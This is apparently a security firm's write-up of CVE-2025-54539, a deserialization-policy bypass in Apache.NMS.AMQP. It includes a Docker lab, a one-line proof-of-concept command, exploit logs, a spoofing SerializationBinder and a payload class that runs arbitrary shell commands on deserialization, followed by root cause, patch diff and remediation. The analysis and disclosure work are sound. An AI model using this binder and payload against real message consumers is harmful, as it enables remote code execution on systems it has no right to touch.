CVE-2025-54539: Apache ActiveMQ NMS AMQP Deserialization Policy Bypass to RCE

Manual vs Autonomous Penetration Testing: Key Differences
Manual vs Autonomous Penetration Testing: Key Differences 
May 14, 2026

May 19, 2026

A deserialization filter is only as good as its checks. CVE-2025-54539 is a logic bug in Apache.NMS.AMQP’s NmsDefaultDeserializationPolicy where the policy’s IsTrustedType() method treats a null Type as trusted. Any .NET application using the library to consume AMQP binary messages can be coerced into running attacker-supplied code if the attacker can publish to a queue or topic the application reads from.

The library is the .NET client side of Apache ActiveMQ NMS for AMQP 1.0 — used by .NET services that talk to ActiveMQ Artemis, Azure Service Bus, RabbitMQ, and other AMQP brokers. The vulnerability sits in client code, so the threat model is “victim connects to a broker controlled by the attacker, or to a shared broker on which the attacker can publish messages.” That covers a lot of real deployments: shared message buses, multi-tenant brokers, anywhere the message producer is not strongly authenticated.

Setup the lab

The lab provides three pieces: a real AMQP broker (Apache ActiveMQ Artemis), a deliberately vulnerable .NET client built against Apache.NMS.AMQP 2.3.0, and an attacker-side .NET service that crafts and publishes the malicious IBytesMessage. All three run on a private Docker network. The vulnerable client is built once, runs as a long-lived consumer waiting for messages; the exploit server is fired on-demand and exits after sending its payload.

The Docker files

lab/demo-docker-compose.yml defines the broker and references the vulnerable-client image:

  • broker runs apache/activemq-artemis:2.32.0 with default credentials admin/admin. It exposes 5672 (AMQP) and 8161 (web console) and waits for the healthcheck before downstream services start.
  • client runs the locally-built cve-2025-54539-vulnerable-client image, takes the broker URL and queue name as arguments, and binds a consumer that calls BinaryFormatter.Deserialize() on incoming binary messages. The deserialization policy is set to the default vulnerable behavior.

The attacker is a separate image, cve-2025-54539-exploit-server, built from the exploit/ExploitServer/ project. It is not part of the compose file because the exploit only needs to run once. We spin it up with docker run –rm -i and immediately tear it down.ExploitPayloads.cs is shared between the vulnerable client and the exploit server. The exploit needs to embed the exact same class shape on both sides so the fallback type resolver in the victim can locate the payload class.

Build and run

cd CVE-2025-54539/exploit
cp Payloads/ExploitPayloads.cs ExploitServer/

# build both .NET images
docker build -t cve-2025-54539-vulnerable-client ../lab/VulnerableClient/
docker build -t cve-2025-54539-exploit-server ./ExploitServer/

# bring up the broker
docker compose -f ../lab/demo-docker-compose.yml up -d broker

# wait for healthcheck — Artemis takes ~30s on first start
sleep 35
docker compose -f ../lab/demo-docker-compose.yml ps

# start the vulnerable consumer in the background
docker run --rm -d --name vulnerable-client \
    --network lab_demo-network \
    cve-2025-54539-vulnerable-client \
    "amqp://admin:admin@demo-broker:5672" "exploit.queue"

Once the consumer logs Waiting for messages…, the lab is live and ready for the exploit.

Build and run lab deployment

Verifying the patch

To confirm the fix neutralizes the same payload, rebuild the vulnerable client against Apache.NMS.AMQP 2.4.0 or later and rerun the exploit:

<!-- VulnerableClient.csproj — patched variant -->
<PackageReference Include="Apache.NMS.AMQP" Version="2.4.0" />

On 2.4.0+, IsTrustedType(null) returns false before BinaryFormatter is allowed to fall back. The exploit server reports payload sent as before, but the consumer log shows the deserialization policy rejecting the message, and /tmp/PoC.txt is never created.

Proof of Concept

With the broker up and the vulnerable consumer waiting, the entire exploit is one command:

printf "4\nq\n" | docker run --rm -i \
    --network lab_demo-network \
    cve-2025-54539-exploit-server \
    "amqp://admin:admin@demo-broker:5672" "exploit.queue"

Option 4 selects the “File Creation Payload” — a cross-platform payload that runs touch /tmp/PoC.txt on the victim. The q exits the prompt cleanly.

Attack flow

Attack flow of cve-2025-54539

Output

exploit output of cve-2025-54539
[EXPLOIT] Sending File Creation payload...
[EXPLOIT] Target: /tmp/PoC.txt
[FILE-PAYLOAD] Creating command execution payload: touch /tmp/PoC.txt
[FILE-EXPLOIT] *** DESERIALIZATION TRIGGERED ***
[FILE-EXPLOIT] *** FILE CREATED SUCCESSFULLY ***
[FILE-EXPLOIT] *** REMOTE CODE EXECUTION ACHIEVED ***
[BINDER] Redirecting ExploitServer.FileCreationExploitPayload
        to VulnerableClient.FileCreationExploitPayload
[EXPLOIT] Serialized payload size: 290 bytes
File creation exploit payload sent!
The consumer log confirms the chain ran on the victim side:
[FILE-PAYLOAD] OnDeserialized callback triggered!
[EXPLOIT] *** DESERIALIZATION TRIGGERED IN VULNERABLE CLIENT ***
[EXPLOIT] Executing command: touch /tmp/PoC.txt
[EXPLOIT] Running: /bin/sh -c "touch /tmp/PoC.txt"
[EXPLOIT] Command completed with exit code: 0
[EXPLOIT] *** COMMAND EXECUTED SUCCESSFULLY ***
[EXPLOIT] *** REMOTE CODE EXECUTION ACHIEVED ***
  *** DESERIALIZATION SUCCESSFUL ***
  Deserialized object type: VulnerableClient.FileCreationExploitPayload

One observation worth calling out

The serialized payload is 290 bytes. Three hundred bytes of message body, no authentication if the broker accepts the producer, and an OnDeserialized callback that runs the moment BinaryFormatter reconstructs the object. The vulnerability does not need a complex gadget chain because the chain is the payload class itself, baked in by the attacker before serialization. The library does the rest.

Static Analysis and Root Cause

Two things have to be true for the exploit to land: the deserialization filter has to accept a null Type, and BinaryFormatter has to be willing to recover a real Type after the binder gives up. Both are.

The vulnerable filter

NmsDefaultDeserializationPolicy.IsTrustedType() in Apache.NMS.AMQP 2.3.0 has no null-guard on its Type parameter:

public bool IsTrustedType(NmsDestination destination, Type type)
{
    if (TrustedClassFilter != null)
    {
        return TrustedClassFilter.IsTrusted(destination, type);
    }

    if (AllowedTypes != null && AllowedTypes.Count > 0)
    {
        foreach (var allowedType in AllowedTypes)
        {
            if (type != null && type.FullName == allowedType)
            {
                return true;
            }
        }
        return false;
    }

    // Default: trust all types (VULNERABLE)
    return true;
}

Three paths exit this method, and null flows through all of them dangerously. With no TrustedClassFilter and no AllowedTypes (the default), the method returns true unconditionally — every type is trusted. With a TrustedClassFilter, type is passed through unchanged; the default filter does not null-check either, so null either matches no entry on a whitelist filter (returning false on some implementations and true on others) or simply slips past a blacklist. With AllowedTypes, the type != null guard inside the loop saves us from a NullReferenceException, but the surrounding logic still ignores the broader problem: the binder told us it could not resolve the type, and we are about to let BinaryFormatter deserialize it anyway.

How the binder returns null

BinaryFormatter uses a SerializationBinder to map the assembly-qualified type names embedded in the byte stream to actual Type objects. A custom binder’s BindToType(assemblyName, typeName) is allowed to return null to signal “I don’t know about this”:

public override Type BindToType(string assemblyName, string typeName)
{
    Assembly assembly = null;
    try
    {
        assembly = Assembly.Load(assemblyName);
    }
    catch (FileNotFoundException)
    {
        return null;            // assembly not found
    }

    Type resolvedType = assembly?.GetType(typeName);
    return resolvedType;        // may still be null if type missing
}

If null propagated all the way up, the deserializer would simply fail. Instead, BinaryFormatter falls back to its internal resolver, which searches every loaded assembly for a matching type name. The spoofed assembly name in the stream is ignored at this stage. As long as the real malicious type exists in any loaded assembly (and it does, because the exploit relies on a shared class definition between attacker and victim), the formatter finds it and instantiates it.

The bypass primitive

The exploit ships a custom SerializationBinder whose only job is to make the victim’s binder return null:

public class AssemblyRedirectBinder : SerializationBinder
{
    private readonly string _spoofedAssemblyName;

    public AssemblyRedirectBinder(string spoofedAssemblyName)
    {
        _spoofedAssemblyName = spoofedAssemblyName;
    }

    public override Type BindToType(string assemblyName, string typeName)
    {
        if (assemblyName == _spoofedAssemblyName)
        {
            return null;        // force the policy bypass
        }
        return Type.GetType($"{typeName}, {assemblyName}");
    }
}

The attacker pairs this binder with BindToName() overrides during serialization so the outgoing stream embeds a fake assembly identifier (e.g. FakeAssembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null). When the victim deserializes, its binder cannot resolve that fake assembly, returns null, and the policy waves the payload through. BinaryFormatter then finds the real class through fallback resolution and constructs it.

The payload class

The payload is a regular [Serializable] class with an [OnDeserialized] callback that runs whatever command the attacker chose:

[Serializable]
public class FileCreationExploitPayload
{
    public string Command { get; set; }
    public string OutputPath { get; set; }

    [OnDeserialized]
    internal void OnDeserializedCallback(StreamingContext context)
    {
        if (string.IsNullOrEmpty(Command)) return;

        var psi = new ProcessStartInfo
        {
            FileName = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
                ? "cmd.exe" : "/bin/bash",
            Arguments = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
                ? $"/c {Command}" : $"-c \"{Command}\"",
            RedirectStandardOutput = true,
            UseShellExecute = false
        };
        using var p = Process.Start(psi);
        var output = p.StandardOutput.ReadToEnd();
        p.WaitForExit();
        if (!string.IsNullOrEmpty(OutputPath))
            File.WriteAllText(OutputPath, output);
    }
}

[OnDeserialized] runs as the very last step of object reconstruction, after every field has been restored. By the time BinaryFormatter.Deserialize() returns to the calling code, the command has already been executed. There is no “deserialize then validate” window an application could insert; the side effect happens inside Deserialize() itself.

Why BinaryFormatter is still around

.NET 5 disabled BinaryFormatter by default. The vulnerable application has to opt back in via a project switch:

<PropertyGroup>
  <EnableUnsafeBinaryFormatterSerialization>true</EnableUnsafeBinaryFormatterSerialization>
</PropertyGroup>

Apache.NMS.AMQP enables this internally so the library functions on .NET 5+, which means an application consuming binary AMQP messages with NMS is already running BinaryFormatter even if the application itself never set the flag. The presence of NMS in a project’s dependency graph is the opt-in.

Patch Diffing

The fix in Apache.NMS.AMQP 2.4.0 is three new lines.

Before (vulnerable, 2.3.0 and earlier):

public bool IsTrustedType(NmsDestination destination, Type type)
{
    if (TrustedClassFilter != null)
        return TrustedClassFilter.IsTrusted(destination, type);

    if (AllowedTypes != null && AllowedTypes.Count > 0)
    {
        foreach (var allowedType in AllowedTypes)
            if (type != null && type.FullName == allowedType)
                return true;
        return false;
    }

    return true;
}

After (patched, 2.4.0+):

public bool IsTrustedType(NmsDestination destination, Type type)
{
    // Null types are never trusted — prevents binder bypass
    if (type == null)
        return false;

    if (TrustedClassFilter != null)
        return TrustedClassFilter.IsTrusted(destination, type);

    if (AllowedTypes != null && AllowedTypes.Count > 0)
    {
        foreach (var allowedType in AllowedTypes)
            if (type.FullName == allowedType)
                return true;
        return false;
    }

    return true;
}

One guard clause at the top. When type is null, the method immediately returns false, which causes BinaryFormatter to abort deserialization instead of doing fallback resolution. The type != null guard inside the loop becomes redundant and is removed.

The fix is correct, minimal, and obvious in hindsight. The original code’s mistake was treating the binder’s “no result” signal as if it were the result of a real lookup. A binder returning null is the gatekeeper saying “I don’t recognize this.” Trusting an unrecognized type was always wrong; the patch just makes that explicit.

Conclusion

CVE-2025-54539 is what happens when a deserialization gatekeeper mistakes “I don’t recognize this” for “this is fine.” A binder returning `null` slips past `IsTrustedType()` in `Apache.NMS.AMQP 2.3.0`, and `BinaryFormatter`’s fallback resolver fires the payload’s `[OnDeserialized]` callback before `Deserialize()` even returns — full RCE on the consumer (high C/I/A) from one ~290-byte unauthenticated `IBytesMessage`. The 2.4.0 fix is three lines, but the lesson outlives the patch: treat “unknown” as “untrusted.” Upgrade, set an `AllowedTypes` allowlist, and move new code off `BinaryFormatter` entirely.

References

Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading